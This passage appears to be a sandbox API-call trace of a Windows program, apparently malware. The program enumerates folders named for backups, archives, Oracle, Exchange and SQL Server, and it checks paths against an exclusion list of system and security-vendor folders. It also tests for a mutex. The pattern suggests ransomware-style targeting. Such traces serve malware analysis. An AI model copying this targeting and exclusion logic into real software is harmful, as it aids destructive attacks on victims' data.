cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18q")) returned 0xffffffff [0055.243] GetLastError () returned 0x2 [0055.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꠘRP") returned 6 [0055.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0055.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18?T\x18y")) returned 0xffffffff [0055.244] GetLastError () returned 0x2 [0055.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0055.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18\x81")) returned 0xffffffff [0055.244] GetLastError () returned 0x2 [0055.245] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0055.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@℔R企@\x18?T\x18\x88")) returned 0xffffffff [0055.245] GetLastError () returned 0x2 [0055.245] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0055.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0055.246] GetLastError () returned 0x2 [0055.246] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0055.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@册U企@\x18?T\x18\x97")) returned 0xffffffff [0055.246] GetLastError () returned 0x2 [0055.246] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.246] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.246] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.246] GlobalUnlock (hMem=0x44000c) returned 0 [0055.246] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.247] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.247] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.247] GlobalUnlock (hMem=0x44000c) returned 0 [0055.247] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.247] GlobalUnlock (hMem=0x440004) returned 0 [0055.247] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.247] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.247] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.247] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0055.247] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.247] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0055.248] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.248] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0055.248] GlobalLock (hMem=0x440004) returned 0x550170 [0055.248] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.248] GlobalUnlock (hMem=0x440004) returned 0 [0055.248] GlobalLock (hMem=0x440004) returned 0x550170 [0055.248] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.248] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.248] GlobalUnlock (hMem=0x440004) returned 0 [0055.248] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.248] GlobalUnlock (hMem=0x44000c) returned 0 [0055.248] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0055.248] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.248] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0055.249] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0055.249] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0055.249] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0055.249] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0055.249] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.249] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0055.250] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0055.250] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\") returned 0x37 [0055.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0055.250] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.250] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.250] GlobalUnlock (hMem=0x44000c) returned 0 [0055.250] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.250] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.250] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.250] GlobalUnlock (hMem=0x44000c) returned 0 [0055.250] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.250] GlobalUnlock (hMem=0x440004) returned 0 [0055.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.250] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0055.251] GetLastError () returned 0x12 [0055.251] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.251] GlobalLock (hMem=0x440004) returned 0x550170 [0055.251] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.251] GlobalUnlock (hMem=0x440004) returned 0 [0055.251] GlobalLock (hMem=0x440004) returned 0x550170 [0055.251] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.251] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.251] GlobalUnlock (hMem=0x440004) returned 0 [0055.251] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.251] GlobalUnlock (hMem=0x44000c) returned 0 [0055.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0055.251] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0055.251] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.251] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.251] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.251] GlobalUnlock (hMem=0x44000c) returned 0 [0055.251] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.251] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.251] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.251] GlobalUnlock (hMem=0x44000c) returned 0 [0055.251] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.251] GlobalUnlock (hMem=0x440004) returned 0 [0055.251] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.252] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.252] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.252] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.252] GlobalLock (hMem=0x440004) returned 0x550170 [0055.252] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.252] GlobalUnlock (hMem=0x440004) returned 0 [0055.252] GlobalLock (hMem=0x440004) returned 0x550170 [0055.252] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.252] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.252] GlobalUnlock (hMem=0x440004) returned 0 [0055.252] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.252] GlobalUnlock (hMem=0x44000c) returned 0 [0055.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.252] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.252] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.252] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.252] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.252] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.252] GlobalUnlock (hMem=0x44000c) returned 0 [0055.252] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.252] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.252] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.252] GlobalUnlock (hMem=0x44000c) returned 0 [0055.252] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.252] GlobalUnlock (hMem=0x440004) returned 0 [0055.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.253] GlobalLock (hMem=0x440004) returned 0x550170 [0055.253] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.253] GlobalUnlock (hMem=0x440004) returned 0 [0055.253] GlobalLock (hMem=0x440004) returned 0x550170 [0055.253] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.253] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.253] GlobalUnlock (hMem=0x440004) returned 0 [0055.253] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.253] GlobalUnlock (hMem=0x44000c) returned 0 [0055.253] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.253] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US") returned 1 [0055.253] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.253] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.253] GlobalUnlock (hMem=0x44000c) returned 0 [0055.253] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.253] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.253] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.253] GlobalUnlock (hMem=0x44000c) returned 0 [0055.253] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.253] GlobalUnlock (hMem=0x440004) returned 0 [0055.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.254] GetLastError () returned 0x3 [0055.254] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@Q企@\x18㿬Q\x181")) returned 0xffffffff [0055.255] GetLastError () returned 0x2 [0055.255] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\") returned 0x3d [0055.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft 